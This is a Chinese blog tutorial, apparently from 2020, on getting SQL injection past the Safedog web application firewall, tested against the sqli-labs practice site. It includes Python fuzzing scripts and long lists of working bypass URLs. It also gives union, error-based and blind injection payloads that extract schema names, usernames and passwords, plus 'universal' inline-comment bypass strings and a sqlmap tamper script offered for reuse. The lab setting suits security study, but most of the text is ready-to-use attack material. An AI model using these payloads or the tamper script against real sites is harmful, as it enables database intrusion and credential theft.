SQL注入Fuzz测试绕过安全狗

Fuzz测试绕过SQL注入waf

环境搭建

phpstudy2018—-使用系统服务运行
网站安全狗最新版V4.0(Apache版)—-关闭cc防护
sqli-labs-Less-1

联合注入

绕过and 1=1

输入'and 1=1--+''and 1=2--+'被拦截
1591317908825

可以使用%26%26代替and,后面的条件使用truefalse进行绕过
1591319389284

1591319400893

也可以直接绕过and和or:

1
2
3
/*!11440OR*/
/*!11440AND*/
#里面的数字范围在11440-11449之间才行

绕过order by

order by查询字段
发现order by被拦截
1591326528451

这里可以通过内联注释来绕过
1591326726888

这里使用脚本进行fuzz,先构造注释的语句/*!order/*!" + a + b + c + d + "*/by*/ 1
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"
}
url_start = "http://192.168.211.130/sqli-labs/Less-1/?id=1"
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "' /*!order/*!" + a + b + c + d + "*/by*/ 99--+"
url = url_start + exp
res = requests.get(url=url, headers=headers)
print("Now URL:" + url)
if "Unknown column" in res.text:
print("Bypass:" + url)
with open("fuzz.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")
#更全的fuzz字符
# fuzz_zs = ['/*','*/','/*!','?','*','=','`','~','!','@','%','.','-','+','|','%00'.'%20' ,'%09', '%0a', '%0b', '%0c', '%0d' ,
# '%a0' ,'/**/']
# fuzz_sz = ['0','1','2','3','4','5','6','7','8','9']
# fuzz_ch=["%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j","%0k","%0l","%0m","%0n","%0o","%0p","%0q","%0r","%0s","%0t","%0u","%0v","%0w","%0x","%0y","%0z"]

最终fuzz出很多可用的字符串
1591327358395

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**//**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/****/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**=*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**`*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**!*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**@*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**.*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**-*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**+*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**|*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%00*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/***/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/** */by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0a*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0b*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0c*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0d*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0e*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0f*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0g*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0h*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0i*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/**%0j*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*=/**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`=*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*``*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`!*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`@*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`.*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`-*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`+*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`|*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%00*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*` */by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0a*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0b*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0c*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0d*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0e*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0f*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0g*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0h*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0i*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*`%0j*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!=*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!`*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!!*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!@*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!.*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!-*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!|*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0e*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0f*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0g*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0h*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0i*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*!%0j*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@/**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@/*!*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@**/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@=*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@`*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@!*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@@*/by*/ 99--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!order/*!/*/*@%*/by*/ 99--+

上面的字符全都可以绕过安全狗

1591328032241

绕过union select

同样使用上面的脚本进行fuzz,将exp和if语句判断的内容修改即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"
}
url_start = "http://192.168.211.130/sqli-labs/Less-1/?id=1"
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "' /*!union/*!" + a + b + c + d + "*/select*/ 1,2,3--+"
url = url_start + exp
res = requests.get(url=url, headers=headers)
print("Now URL:" + url)
if "Your Login name" in res.text:
print("Bypass:" + url)
with open("fuzz.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")

1591328630218

可用字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/**%0g*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/**%0h*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/**%0i*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/**%0j*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*=%0g*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*=%0h*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*=%0i*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*=%0j*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*`%0g*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*`%0h*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*`%0i*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*`%0j*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*!%0g*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*!%0h*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*!%0i*/select*/ 1,2,3--+
http://192.168.211.130/sqli-labs/Less-1/?id=1' /*!union/*!/*/*!%0j*/select*/ 1,2,3--+

这里选择/*!union/*!/*/*!%0i*/select*/来绕过
1591328787629

能绕过union select的也能绕过order by,可能是union select防护的比较严
另一种payload:
order/*!60000ghtwf01*/by可以实现绕过,数字要大于50000union select也可用其绕过

这时候发现database()也被拦截了
使用(database/**/())绕过,也可以使用/*!database/*!/*/*!%0i*/()*/来绕过
1591329710780

1591329336041

绕过schema_name

之后查询所有数据库名,使用schema_name会被拦截,这里使用内联注释绕过

1
?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!schema_name*/)%20from%20information_schema.schemata),3--+

1591339319418

查询表名

1
?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20),3--+

table_name同样会被拦截,依然可以使用内联注释绕过
查询列名

1
?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns%20where%20table_name=%27users%27%20),3--+

1591339467520

查数据

1
?id=0%27%20/*!union/*!/*/*!%0i*/select*/%201,(select%20group_concat(/*!id,username*/)%20from%20users%20),3--+

报错注入

绕过updatexml()

库名

当使用updatexml(1,concat(0x7e,database(),0x7e),1)--+爆数据库时被拦截

1591339933744

应该是updatexml()函数和database()函数被安全狗识别,使用上面fuzz的payload进行绕过
/*!updatexml/*!/*/*!%0i*/(1,concat(0x7e,(database/**/()),0x7e),1)*/--+
1591340954991

表名

在进行爆表名的时候发现table_schema=''后面不能接引号,所以采用十六进制绕过

1
?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!table_name*/)%20from%20information_schema.tables where table_schema=0x7365637572697479),0x7e),1)--+

并且根据报错要去掉updatexml外面的注释

1591340857815

列名

1
?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!column_name*/)%20from%20information_schema.columns where table_name=0x7573657273),0x7e),1)--+

1591341094057

查数据

1
?id=1%27%26%26updatexml/*!/*/*!%0i*/(1,concat(0x7e,(select%20group_concat(/*!id,username,password*/)%20from%20users),0x7e),1)--+

1591341154503

盲注

布尔盲注

payload:

1
2
3
4
5
6
7
8
9
10
11
#数据库名
?id=1'%26%26ascii(substr(database/**/(),1,1))=30--+

#表名(去除最外层注释)
?id=1'%26%26ascii(substr((select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479),1,1))=30--+

#列名
?id=1'%26%26ascii(substr((select%20group_concat(/*!column_name*/)%20from%20information_schema.columns where table_name=0x7573657273),1,1))=30--+

#数据
?id=1'%26%26ascii(substr((select%20group_concat(/*!id,username,password*/)%20from%20users),1,1))=30--+

时间盲注

使用if三段式判断
过滤了if()和sleep()
sleep()使用sleep/**/()绕过
if()使用/*!if/*!/*/*!%0i*/()*/绕过
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
?id=1'%26%26/*!if/*!/*/*!%0i*/(length(database/**/())=8,sleep/**/(5),1)*/--+

#数据库名
?id=1'%26%26/*!if/*!/*/*!%0i*/(ascii(substr(database/**/(),1,1))=115,1,sleep/**/(5))*/--+

#表名(去除最外层注释)
?id=1'%26%26if/*!/*/*!%0i*/(ascii(substr((select%20group_concat(/*!table_name*/)%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479),1,1))>115000,1,sleep/**/(5))--+

#列名
?id=1'%26%26if/*!/*/*!%0i*/(ascii(substr((select%20group_concat(/*!column_name*/)%20from%20information_schema.columns where table_name=0x7573657273),1,1))>115000,1,sleep/**/(5))--+

#数据
?id=1'%26%26if/*!/*/*!%0i*/(ascii(substr((select%20group_concat(/*!id,username,password*/)%20from%20users),1,1))>115,1,sleep/**/(5))--+

绕过安全狗的payload还有很多,几乎上面fuzz出来的字符串都可以用作下面的绕过

总结

有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:

1
2
3
4
5
6
7
8
#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。

最后附上tamper脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: UTF-8 -*-


from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST


def dependencies():
pass

def tamper(payload, **kwargs):



if payload:
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
payload=payload.replace("AND","/*!AND/*!/*/**/*/")
payload=payload.replace("OR","/*!OR/*!/*/**/*/")
payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

return payload

参考文章:

https://xz.aliyun.com/t/7449#toc-6

https://bbs.d0g3.cn/d/33

https://www.fuzzer.xyz/2019/03/30/FUZZ%E6%B5%8B%E8%AF%95%E6%9F%90%E7%8B%97WAF%E7%BB%95%E8%BF%87/#%E6%AD%A3%E6%96%87

文章作者:CyzCc
最后更新:2020年06月05日 20:06:14
原始链接:https://cyzcc.vip/2020/06/05/sql-Fuzz/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------